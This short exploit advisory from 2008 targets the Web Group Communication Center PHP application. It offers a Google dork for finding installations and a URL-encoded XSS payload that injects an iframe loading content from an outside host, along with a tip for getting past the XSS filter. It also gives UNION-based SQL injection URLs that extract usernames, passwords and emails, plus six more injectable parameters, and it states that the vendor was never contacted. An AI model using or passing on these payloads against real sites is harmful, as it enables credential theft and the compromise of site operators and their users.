************************************************* # Title : Web Group Communication Center [XSS/SQL] Multiple Remote Vulnerabilies # Author : myvx # Date : 13.05.2008 ************************************************* # Application : Web Group Communication Center # Version : <= 1.0.3 PreRelease #1 # Vendor : http://wgcc.de/ # Download : http://wgcc.de/filebase/Geschuetzer_Bereich/wgcc_release_1_0_2.zip ************************************************* # google dork : "Web Group Communication Center" Exploit: XSS: http://[target]/[path]/profile.php?action=show&userid=%22%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%2E%63%6B%65%72%73%2E%6F%72%67%2F%73%63%72%69%70%74%6C%65%74%2E%68%74%6D%6C%3C To bypass the XSS-Filter urlencode your malicious Code. SQL-INJECTION(you must be logged in): http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,password,0x3a,email)+FROM+wgcc_user-- or http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,passwort,0x3a,email)+FROM+wgcc_user-- more: http://[target]/[path]/picturegallery.php?action=shownext&bildid=[SQL-STATEMENT] http://[target]/[path]/filebase.php?action=freigeben&id=[SQL-STATEMENT] http://[target]/[path]/schedule.php?action=del&id=[SQL-STATEMENT] http://[target]/[path]/profile.php?action=observe&saction=del&id=[SQL-STATEMENT] http://[target]/[path]/message.php?action=delete&pmid=[SQL-STATEMENT] http://[target]/[path]/message.php?action=showfolder&folderid=[SQL-STATEMENT] The Vendor has not been contacted yet.